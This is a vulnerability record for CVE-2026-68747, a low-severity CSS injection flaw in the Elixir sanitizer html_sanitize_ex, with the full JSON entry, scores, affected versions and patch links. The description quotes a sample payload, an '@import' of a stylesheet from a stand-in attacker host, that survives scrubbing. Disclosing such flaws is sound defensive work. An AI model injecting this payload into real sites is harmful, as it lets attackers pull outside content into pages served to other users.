CVE-2026-68747
Full vulnerability record from the local CVENow database.
Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Severity
LOW
CVSS score
2.3
(v4.0)
Vulnerability status
Modified
Source identifier
6b3ad84c-e1a6-4bf7-a703-f496b71e49db
Published
2026-08-06 16:16:51.533000
Last modified
2026-10-24 16:10:00.153000
View original CVE JSON
{
"id": "CVE-2026-68747",
"sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"published": "2026-08-06T16:16:51.533",
"lastModified": "2026-10-24T16:10:00.153",
"vulnStatus": "Modified",
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4."
},
{
"lang": "es",
"value": "vulnerabilidad de Neutralización Incorrecta de Elementos Especiales en la Salida Utilizada por un Componente Descendente (’Inyección’) en el depurador CSS de rrrene html_sanitize_ex permite a un atacante remoto no autenticado inyectar reglas-arroba CSS, incluyendo una importación de una hoja de estilo remota, en una página servida a otros usuarios. HtmlSanitizeEx.Scrubber.CSS.scrub/1 aplica su lista blanca de propiedades y valores a través de un Regex.replace sobre subcadenas que coinciden con un patrón de declaración propiedad: valor, por lo que la entrada que no coincide con ese patrón nunca es inspeccionada y se copia a la salida sin cambios. @import url(//atacante.example/style.css); sobrevive, mientras que la misma URL dentro de una declaración background: url(...) es eliminada.\n\nLos límites de los elementos se resuelven antes de que se ejecute el depurador, por lo que el contenido inyectado no escapa del elemento [style] y ningún script se ejecuta.\n\nEste problema afecta a html_sanitize_ex: desde 0.3.1 antes de 1.5.4."
}
],
"affected": [
{
"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"affectedData": [
{
"vendor": "rrrene",
"product": "html_sanitize_ex",
"defaultStatus": "unaffected",
"collectionURL": "https://repo.hex.pm",
"packageName": "html_sanitize_ex",
"cpes": [
"cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"
],
"modules": [
"'Elixir.HtmlSanitizeEx.Scrubber.CSS'",
"'Elixir.HtmlSanitizeEx'"
],
"programFiles": [
"lib/html_sanitize_ex/scrubber/css.ex",
"lib/html_sanitize_ex.ex"
],
"programRoutines": [
{
"name": "'Elixir.HtmlSanitizeEx.Scrubber.CSS':scrub/1"
},
{
"name": "'Elixir.HtmlSanitizeEx':html5/1"
}
],
"repo": "https://github.com/rrrene/html_sanitize_ex",
"packageURL": "pkg:hex/html_sanitize_ex",
"versions": [
{
"version": "0.3.1",
"lessThan": "1.4.5",
"versionType": "semver",
"status": "affected"
},
{
"version": "1.5.0-rc.0",
"lessThan": "1.5.4",
"versionType": "semver",
"status": "affected"
}
]
},
{
"vendor": "rrrene",
"product": "html_sanitize_ex",
"defaultStatus": "unaffected",
"collectionURL": "https://github.com",
"packageName": "rrrene/html_sanitize_ex",
"cpes": [
"cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"
],
"modules": [
"'Elixir.HtmlSanitizeEx.Scrubber.CSS'",
"'Elixir.HtmlSanitizeEx'"
],
"programFiles": [
"lib/html_sanitize_ex/scrubber/css.ex",
"lib/html_sanitize_ex.ex"
],
"programRoutines": [
{
"name": "'Elixir.HtmlSanitizeEx.Scrubber.CSS':scrub/1"
},
{
"name": "'Elixir.HtmlSanitizeEx':html5/1"
}
],
"repo": "https://github.com/rrrene/html_sanitize_ex",
"packageURL": "pkg:github/rrrene/html_sanitize_ex",
"versions": [
{
"version": "21f90012eb21aa36f4e3701b7547e12faf0f3c8b",
"lessThan": "*",
"versionType": "git",
"status": "affected",
"changes": [
{
"at": "0b9f9ad63a7529d4f2c3c1134c371adc3e654308",
"status": "unaffected"
},
{
"at": "c311a499db0b0baef06493fb3cfeb730c0f18f28",
"status": "unaffected"
}
]
}
]
}
]
}
],
"metrics": {
"cvssMetricV40": [
{
"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"type": "Secondary",
"cvssData": {
"version": "4.0",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"baseScore": 2.3,
"baseSeverity": "LOW",
"attackVector": "NETWORK",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"privilegesRequired": "NONE",
"userInteraction": "PASSIVE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"subAvailabilityImpact": "NONE",
"exploitMaturity": "NOT_DEFINED",
"confidentialityRequirement": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"availabilityRequirement": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"valueDensity": "NOT_DEFINED",
"vulnerabilityResponseEffort": "NOT_DEFINED",
"providerUrgency": "NOT_DEFINED"
}
}
],
"cvssMetricV31": [
{
"source": "[email protected]",
"type": "Primary",
"cvssData": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"attackVector": "NETWORK",
"attackComplexity": "LOW",
"privilegesRequired": "NONE",
"userInteraction": "REQUIRED",
"scope": "CHANGED",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"availabilityImpact": "NONE"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"timestamp": "2026-08-06T15:43:31.189847Z",
"id": "CVE-2026-68747",
"options": [
{
"exploitation": "none"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"version": "2.0.3"
}
}
]
},
"weaknesses": [
{
"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"type": "Secondary",
"description": [
{
"lang": "en",
"value": "CWE-74"
}
]
}
],
"configurations": [
{
"nodes": [
{
"operator": "OR",
"negate": false,
"cpeMatch": [
{
"vulnerable": true,
"criteria": "cpe:2.3:a:rrrene:htmlsanitizeex:*:*:*:*:*:*:*:*",
"versionStartIncluding": "0.3.1",
"versionEndExcluding": "1.5.4",
"matchCriteriaId": "82FB1AEC-A659-49D9-9FF1-E7D7F1F3D998"
}
]
}
]
}
],
"references": [
{
"url": "https://cna.erlef.org/cves/CVE-2026-68747.html",
"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"tags": [
"Patch",
"Third Party Advisory"
]
},
{
"url": "https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308",
"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"tags": [
"Patch"
]
},
{
"url": "https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28",
"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db"
},
{
"url": "https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7",
"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"tags": [
"Broken Link"
]
},
{
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-68747",
"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"tags": [
"Patch",
"Third Party Advisory"
]
}
]
}